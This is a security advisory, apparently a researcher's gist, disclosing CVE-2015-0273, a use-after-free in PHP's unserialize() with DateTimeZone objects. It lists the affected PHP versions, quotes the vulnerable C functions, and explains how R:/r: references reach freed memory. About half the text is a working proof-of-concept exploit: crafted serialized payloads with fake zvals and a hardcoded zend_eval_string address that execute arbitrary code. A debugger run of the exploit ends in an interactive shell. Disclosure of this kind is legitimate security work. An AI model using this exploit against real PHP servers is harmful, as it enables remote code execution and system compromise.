Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

gistfile1.md

#Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

Taoguang Chen <@chtg> - Write Date: 2015.1.29 - Release Date: 2015.2.20

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38
Affected is PHP 5.3 <= 5.3.29

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
{
	zval             *z_date;
	zval             *z_timezone;
	zval             *z_timezone_type;
	zval              tmp_obj;
	timelib_tzinfo   *tzi;
	php_timezone_obj *tzobj;

	z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
	if (z_date) {
		convert_to_string(z_date);
		z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1);
		if (z_timezone_type) {
			convert_to_long(z_timezone_type);
			z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
			if (z_timezone) {
				convert_to_string(z_timezone);

...

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;
 
	if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000) 
(lldb)